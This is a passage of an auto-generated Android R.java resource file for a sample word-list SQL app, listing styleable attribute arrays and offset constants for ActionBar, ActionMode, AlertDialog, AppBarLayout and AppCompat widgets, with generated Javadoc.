<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>normal</code></td><td>0</td><td></td></tr>
<tr><td><code>listMode</code></td><td>1</td><td></td></tr>
<tr><td><code>tabMode</code></td><td>2</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:navigationMode
*/
public static final int ActionBar_navigationMode = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#popupTheme}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:popupTheme
*/
public static final int ActionBar_popupTheme = 27;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#progressBarPadding}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:progressBarPadding
*/
public static final int ActionBar_progressBarPadding = 17;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#progressBarStyle}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:progressBarStyle
*/
public static final int ActionBar_progressBarStyle = 15;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#subtitle}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:subtitle
*/
public static final int ActionBar_subtitle = 4;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#subtitleTextStyle}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:subtitleTextStyle
*/
public static final int ActionBar_subtitleTextStyle = 6;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#title}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:title
*/
public static final int ActionBar_title = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#titleTextStyle}
attribute's value can be found in the {@link #ActionBar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:titleTextStyle
*/
public static final int ActionBar_titleTextStyle = 5;
/** Attributes that can be used with a ActionBarLayout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #ActionBarLayout_android_layout_gravity android:layout_gravity}</code></td><td></td></tr>
</table>
@see #ActionBarLayout_android_layout_gravity
*/
public static final int[] ActionBarLayout = {
0x010100b3
};
/**
<p>This symbol is the offset where the {@link android.R.attr#layout_gravity}
attribute's value can be found in the {@link #ActionBarLayout} array.
@attr name android:layout_gravity
*/
public static final int ActionBarLayout_android_layout_gravity = 0;
/** Attributes that can be used with a ActionMenuItemView.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #ActionMenuItemView_android_minWidth android:minWidth}</code></td><td></td></tr>
</table>
@see #ActionMenuItemView_android_minWidth
*/
public static final int[] ActionMenuItemView = {
0x0101013f
};
/**
<p>This symbol is the offset where the {@link android.R.attr#minWidth}
attribute's value can be found in the {@link #ActionMenuItemView} array.
@attr name android:minWidth
*/
public static final int ActionMenuItemView_android_minWidth = 0;
/** Attributes that can be used with a ActionMenuView.
*/
public static final int[] ActionMenuView = {
};
/** Attributes that can be used with a ActionMode.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #ActionMode_background com.android.example.wordlistsql:background}</code></td><td></td></tr>
<tr><td><code>{@link #ActionMode_backgroundSplit com.android.example.wordlistsql:backgroundSplit}</code></td><td></td></tr>
<tr><td><code>{@link #ActionMode_closeItemLayout com.android.example.wordlistsql:closeItemLayout}</code></td><td></td></tr>
<tr><td><code>{@link #ActionMode_height com.android.example.wordlistsql:height}</code></td><td></td></tr>
<tr><td><code>{@link #ActionMode_subtitleTextStyle com.android.example.wordlistsql:subtitleTextStyle}</code></td><td></td></tr>
<tr><td><code>{@link #ActionMode_titleTextStyle com.android.example.wordlistsql:titleTextStyle}</code></td><td></td></tr>
</table>
@see #ActionMode_background
@see #ActionMode_backgroundSplit
@see #ActionMode_closeItemLayout
@see #ActionMode_height
@see #ActionMode_subtitleTextStyle
@see #ActionMode_titleTextStyle
*/
public static final int[] ActionMode = {
0x7f010001, 0x7f010007, 0x7f010008, 0x7f01000c,
0x7f01000e, 0x7f01001e
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#background}
attribute's value can be found in the {@link #ActionMode} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:background
*/
public static final int ActionMode_background = 3;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#backgroundSplit}
attribute's value can be found in the {@link #ActionMode} array.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
@attr name com.android.example.wordlistsql:backgroundSplit
*/
public static final int ActionMode_backgroundSplit = 4;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#closeItemLayout}
attribute's value can be found in the {@link #ActionMode} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:closeItemLayout
*/
public static final int ActionMode_closeItemLayout = 5;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#height}
attribute's value can be found in the {@link #ActionMode} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:height
*/
public static final int ActionMode_height = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#subtitleTextStyle}
attribute's value can be found in the {@link #ActionMode} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:subtitleTextStyle
*/
public static final int ActionMode_subtitleTextStyle = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#titleTextStyle}
attribute's value can be found in the {@link #ActionMode} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:titleTextStyle
*/
public static final int ActionMode_titleTextStyle = 1;
/** Attributes that can be used with a ActivityChooserView.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #ActivityChooserView_expandActivityOverflowButtonDrawable com.android.example.wordlistsql:expandActivityOverflowButtonDrawable}</code></td><td></td></tr>
<tr><td><code>{@link #ActivityChooserView_initialActivityCount com.android.example.wordlistsql:initialActivityCount}</code></td><td></td></tr>
</table>
@see #ActivityChooserView_expandActivityOverflowButtonDrawable
@see #ActivityChooserView_initialActivityCount
*/
public static final int[] ActivityChooserView = {
0x7f01001f, 0x7f010020
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#expandActivityOverflowButtonDrawable}
attribute's value can be found in the {@link #ActivityChooserView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:expandActivityOverflowButtonDrawable
*/
public static final int ActivityChooserView_expandActivityOverflowButtonDrawable = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#initialActivityCount}
attribute's value can be found in the {@link #ActivityChooserView} array.
<p>Must be a string value, using '\\;' to escape characters such as '\\n' or '\\uxxxx' for a unicode character.
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:initialActivityCount
*/
public static final int ActivityChooserView_initialActivityCount = 0;
/** Attributes that can be used with a AlertDialog.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #AlertDialog_android_layout android:layout}</code></td><td></td></tr>
<tr><td><code>{@link #AlertDialog_buttonPanelSideLayout com.android.example.wordlistsql:buttonPanelSideLayout}</code></td><td></td></tr>
<tr><td><code>{@link #AlertDialog_listItemLayout com.android.example.wordlistsql:listItemLayout}</code></td><td></td></tr>
<tr><td><code>{@link #AlertDialog_listLayout com.android.example.wordlistsql:listLayout}</code></td><td></td></tr>
<tr><td><code>{@link #AlertDialog_multiChoiceItemLayout com.android.example.wordlistsql:multiChoiceItemLayout}</code></td><td></td></tr>
<tr><td><code>{@link #AlertDialog_singleChoiceItemLayout com.android.example.wordlistsql:singleChoiceItemLayout}</code></td><td></td></tr>
</table>
@see #AlertDialog_android_layout
@see #AlertDialog_buttonPanelSideLayout
@see #AlertDialog_listItemLayout
@see #AlertDialog_listLayout
@see #AlertDialog_multiChoiceItemLayout
@see #AlertDialog_singleChoiceItemLayout
*/
public static final int[] AlertDialog = {
0x010100f2, 0x7f010021, 0x7f010022, 0x7f010023,
0x7f010024, 0x7f010025
};
/**
<p>This symbol is the offset where the {@link android.R.attr#layout}
attribute's value can be found in the {@link #AlertDialog} array.
@attr name android:layout
*/
public static final int AlertDialog_android_layout = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#buttonPanelSideLayout}
attribute's value can be found in the {@link #AlertDialog} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:buttonPanelSideLayout
*/
public static final int AlertDialog_buttonPanelSideLayout = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#listItemLayout}
attribute's value can be found in the {@link #AlertDialog} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:listItemLayout
*/
public static final int AlertDialog_listItemLayout = 5;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#listLayout}
attribute's value can be found in the {@link #AlertDialog} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:listLayout
*/
public static final int AlertDialog_listLayout = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#multiChoiceItemLayout}
attribute's value can be found in the {@link #AlertDialog} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:multiChoiceItemLayout
*/
public static final int AlertDialog_multiChoiceItemLayout = 3;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#singleChoiceItemLayout}
attribute's value can be found in the {@link #AlertDialog} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:singleChoiceItemLayout
*/
public static final int AlertDialog_singleChoiceItemLayout = 4;
/** Attributes that can be used with a AppBarLayout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #AppBarLayout_android_background android:background}</code></td><td></td></tr>
<tr><td><code>{@link #AppBarLayout_elevation com.android.example.wordlistsql:elevation}</code></td><td></td></tr>
<tr><td><code>{@link #AppBarLayout_expanded com.android.example.wordlistsql:expanded}</code></td><td></td></tr>
</table>
@see #AppBarLayout_android_background
@see #AppBarLayout_elevation
@see #AppBarLayout_expanded
*/
public static final int[] AppBarLayout = {
0x010100d4, 0x7f01001c, 0x7f010026
};
/**
<p>This symbol is the offset where the {@link android.R.attr#background}
attribute's value can be found in the {@link #AppBarLayout} array.
@attr name android:background
*/
public static final int AppBarLayout_android_background = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#elevation}
attribute's value can be found in the {@link #AppBarLayout} array.
<p>Must be a dimension value, which is a floating point number appended with a unit such as "<code>14.5sp</code>".
Available units are: px (pixels), dp (density-independent pixels), sp (scaled pixels based on preferred font size),
in (inches), mm (millimeters).
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:elevation
*/
public static final int AppBarLayout_elevation = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#expanded}
attribute's value can be found in the {@link #AppBarLayout} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:expanded
*/
public static final int AppBarLayout_expanded = 2;
/** Attributes that can be used with a AppBarLayoutStates.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #AppBarLayoutStates_state_collapsed com.android.example.wordlistsql:state_collapsed}</code></td><td></td></tr>
<tr><td><code>{@link #AppBarLayoutStates_state_collapsible com.android.example.wordlistsql:state_collapsible}</code></td><td></td></tr>
</table>
@see #AppBarLayoutStates_state_collapsed
@see #AppBarLayoutStates_state_collapsible
*/
public static final int[] AppBarLayoutStates = {
0x7f010027, 0x7f010028
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#state_collapsed}
attribute's value can be found in the {@link #AppBarLayoutStates} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:state_collapsed
*/
public static final int AppBarLayoutStates_state_collapsed = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#state_collapsible}
attribute's value can be found in the {@link #AppBarLayoutStates} array.
<p>Must be a boolean value, either "<code>true</code>" or "<code>false</code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:state_collapsible
*/
public static final int AppBarLayoutStates_state_collapsible = 1;
/** Attributes that can be used with a AppBarLayout_Layout.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #AppBarLayout_Layout_layout_scrollFlags com.android.example.wordlistsql:layout_scrollFlags}</code></td><td></td></tr>
<tr><td><code>{@link #AppBarLayout_Layout_layout_scrollInterpolator com.android.example.wordlistsql:layout_scrollInterpolator}</code></td><td></td></tr>
</table>
@see #AppBarLayout_Layout_layout_scrollFlags
@see #AppBarLayout_Layout_layout_scrollInterpolator
*/
public static final int[] AppBarLayout_Layout = {
0x7f010029, 0x7f01002a
};
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#layout_scrollFlags}
attribute's value can be found in the {@link #AppBarLayout_Layout} array.
<p>Must be one or more (separated by '|') of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>scroll</code></td><td>0x1</td><td></td></tr>
<tr><td><code>exitUntilCollapsed</code></td><td>0x2</td><td></td></tr>
<tr><td><code>enterAlways</code></td><td>0x4</td><td></td></tr>
<tr><td><code>enterAlwaysCollapsed</code></td><td>0x8</td><td></td></tr>
<tr><td><code>snap</code></td><td>0x10</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:layout_scrollFlags
*/
public static final int AppBarLayout_Layout_layout_scrollFlags = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#layout_scrollInterpolator}
attribute's value can be found in the {@link #AppBarLayout_Layout} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:layout_scrollInterpolator
*/
public static final int AppBarLayout_Layout_layout_scrollInterpolator = 1;
/** Attributes that can be used with a AppCompatImageView.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #AppCompatImageView_android_src android:src}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatImageView_srcCompat com.android.example.wordlistsql:srcCompat}</code></td><td></td></tr>
</table>
@see #AppCompatImageView_android_src
@see #AppCompatImageView_srcCompat
*/
public static final int[] AppCompatImageView = {
0x01010119, 0x7f01002b
};
/**
<p>This symbol is the offset where the {@link android.R.attr#src}
attribute's value can be found in the {@link #AppCompatImageView} array.
@attr name android:src
*/
public static final int AppCompatImageView_android_src = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#srcCompat}
attribute's value can be found in the {@link #AppCompatImageView} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:srcCompat
*/
public static final int AppCompatImageView_srcCompat = 1;
/** Attributes that can be used with a AppCompatSeekBar.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #AppCompatSeekBar_android_thumb android:thumb}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatSeekBar_tickMark com.android.example.wordlistsql:tickMark}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatSeekBar_tickMarkTint com.android.example.wordlistsql:tickMarkTint}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatSeekBar_tickMarkTintMode com.android.example.wordlistsql:tickMarkTintMode}</code></td><td></td></tr>
</table>
@see #AppCompatSeekBar_android_thumb
@see #AppCompatSeekBar_tickMark
@see #AppCompatSeekBar_tickMarkTint
@see #AppCompatSeekBar_tickMarkTintMode
*/
public static final int[] AppCompatSeekBar = {
0x01010142, 0x7f01002c, 0x7f01002d, 0x7f01002e
};
/**
<p>This symbol is the offset where the {@link android.R.attr#thumb}
attribute's value can be found in the {@link #AppCompatSeekBar} array.
@attr name android:thumb
*/
public static final int AppCompatSeekBar_android_thumb = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tickMark}
attribute's value can be found in the {@link #AppCompatSeekBar} array.
<p>Must be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
@attr name com.android.example.wordlistsql:tickMark
*/
public static final int AppCompatSeekBar_tickMark = 1;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tickMarkTint}
attribute's value can be found in the {@link #AppCompatSeekBar} array.
<p>Must be a color value, in the form of "<code>#<i>rgb</i></code>", "<code>#<i>argb</i></code>",
"<code>#<i>rrggbb</i></code>", or "<code>#<i>aarrggbb</i></code>".
<p>This may also be a reference to a resource (in the form
"<code>@[<i>package</i>:]<i>type</i>:<i>name</i></code>") or
theme attribute (in the form
"<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>")
containing a value of this type.
@attr name com.android.example.wordlistsql:tickMarkTint
*/
public static final int AppCompatSeekBar_tickMarkTint = 2;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#tickMarkTintMode}
attribute's value can be found in the {@link #AppCompatSeekBar} array.
<p>Must be one of the following constant values.</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Constant</th><th>Value</th><th>Description</th></tr>
<tr><td><code>src_over</code></td><td>3</td><td></td></tr>
<tr><td><code>src_in</code></td><td>5</td><td></td></tr>
<tr><td><code>src_atop</code></td><td>9</td><td></td></tr>
<tr><td><code>multiply</code></td><td>14</td><td></td></tr>
<tr><td><code>screen</code></td><td>15</td><td></td></tr>
<tr><td><code>add</code></td><td>16</td><td></td></tr>
</table>
@attr name com.android.example.wordlistsql:tickMarkTintMode
*/
public static final int AppCompatSeekBar_tickMarkTintMode = 3;
/** Attributes that can be used with a AppCompatTextHelper.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #AppCompatTextHelper_android_drawableBottom android:drawableBottom}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTextHelper_android_drawableEnd android:drawableEnd}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTextHelper_android_drawableLeft android:drawableLeft}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTextHelper_android_drawableRight android:drawableRight}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTextHelper_android_drawableStart android:drawableStart}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTextHelper_android_drawableTop android:drawableTop}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTextHelper_android_textAppearance android:textAppearance}</code></td><td></td></tr>
</table>
@see #AppCompatTextHelper_android_drawableBottom
@see #AppCompatTextHelper_android_drawableEnd
@see #AppCompatTextHelper_android_drawableLeft
@see #AppCompatTextHelper_android_drawableRight
@see #AppCompatTextHelper_android_drawableStart
@see #AppCompatTextHelper_android_drawableTop
@see #AppCompatTextHelper_android_textAppearance
*/
public static final int[] AppCompatTextHelper = {
0x01010034, 0x0101016d, 0x0101016e, 0x0101016f,
0x01010170, 0x01010392, 0x01010393
};
/**
<p>This symbol is the offset where the {@link android.R.attr#drawableBottom}
attribute's value can be found in the {@link #AppCompatTextHelper} array.
@attr name android:drawableBottom
*/
public static final int AppCompatTextHelper_android_drawableBottom = 2;
/**
<p>This symbol is the offset where the {@link android.R.attr#drawableEnd}
attribute's value can be found in the {@link #AppCompatTextHelper} array.
@attr name android:drawableEnd
*/
public static final int AppCompatTextHelper_android_drawableEnd = 6;
/**
<p>This symbol is the offset where the {@link android.R.attr#drawableLeft}
attribute's value can be found in the {@link #AppCompatTextHelper} array.
@attr name android:drawableLeft
*/
public static final int AppCompatTextHelper_android_drawableLeft = 3;
/**
<p>This symbol is the offset where the {@link android.R.attr#drawableRight}
attribute's value can be found in the {@link #AppCompatTextHelper} array.
@attr name android:drawableRight
*/
public static final int AppCompatTextHelper_android_drawableRight = 4;
/**
<p>This symbol is the offset where the {@link android.R.attr#drawableStart}
attribute's value can be found in the {@link #AppCompatTextHelper} array.
@attr name android:drawableStart
*/
public static final int AppCompatTextHelper_android_drawableStart = 5;
/**
<p>This symbol is the offset where the {@link android.R.attr#drawableTop}
attribute's value can be found in the {@link #AppCompatTextHelper} array.
@attr name android:drawableTop
*/
public static final int AppCompatTextHelper_android_drawableTop = 1;
/**
<p>This symbol is the offset where the {@link android.R.attr#textAppearance}
attribute's value can be found in the {@link #AppCompatTextHelper} array.
@attr name android:textAppearance
*/
public static final int AppCompatTextHelper_android_textAppearance = 0;
/** Attributes that can be used with a AppCompatTextView.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #AppCompatTextView_android_textAppearance android:textAppearance}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTextView_textAllCaps com.android.example.wordlistsql:textAllCaps}</code></td><td></td></tr>
</table>
@see #AppCompatTextView_android_textAppearance
@see #AppCompatTextView_textAllCaps
*/
public static final int[] AppCompatTextView = {
0x01010034, 0x7f01002f
};
/**
<p>This symbol is the offset where the {@link android.R.attr#textAppearance}
attribute's value can be found in the {@link #AppCompatTextView} array.
@attr name android:textAppearance
*/
public static final int AppCompatTextView_android_textAppearance = 0;
/**
<p>This symbol is the offset where the {@link com.android.example.wordlistsql.R.attr#textAllCaps}
attribute's value can be found in the {@link #AppCompatTextView} array.
<p>May be a reference to another resource, in the form "<code>@[+][<i>package</i>:]<i>type</i>:<i>name</i></code>"
or to a theme attribute in the form "<code>?[<i>package</i>:][<i>type</i>:]<i>name</i></code>".
<p>May be a boolean value, either "<code>true</code>" or "<code>false</code>".
@attr name com.android.example.wordlistsql:textAllCaps
*/
public static final int AppCompatTextView_textAllCaps = 1;
/** Attributes that can be used with a AppCompatTheme.
<p>Includes the following attributes:</p>
<table>
<colgroup align="left" />
<colgroup align="left" />
<tr><th>Attribute</th><th>Description</th></tr>
<tr><td><code>{@link #AppCompatTheme_actionBarDivider com.android.example.wordlistsql:actionBarDivider}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionBarItemBackground com.android.example.wordlistsql:actionBarItemBackground}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionBarPopupTheme com.android.example.wordlistsql:actionBarPopupTheme}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionBarSize com.android.example.wordlistsql:actionBarSize}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionBarSplitStyle com.android.example.wordlistsql:actionBarSplitStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionBarStyle com.android.example.wordlistsql:actionBarStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionBarTabBarStyle com.android.example.wordlistsql:actionBarTabBarStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionBarTabStyle com.android.example.wordlistsql:actionBarTabStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionBarTabTextStyle com.android.example.wordlistsql:actionBarTabTextStyle}</code></td><td></td></tr>
<tr><td><code>{@link #AppCompatTheme_actionBarTheme com.android.example.wordlistsql:actionBarTheme}</code></td><td></td></tr>
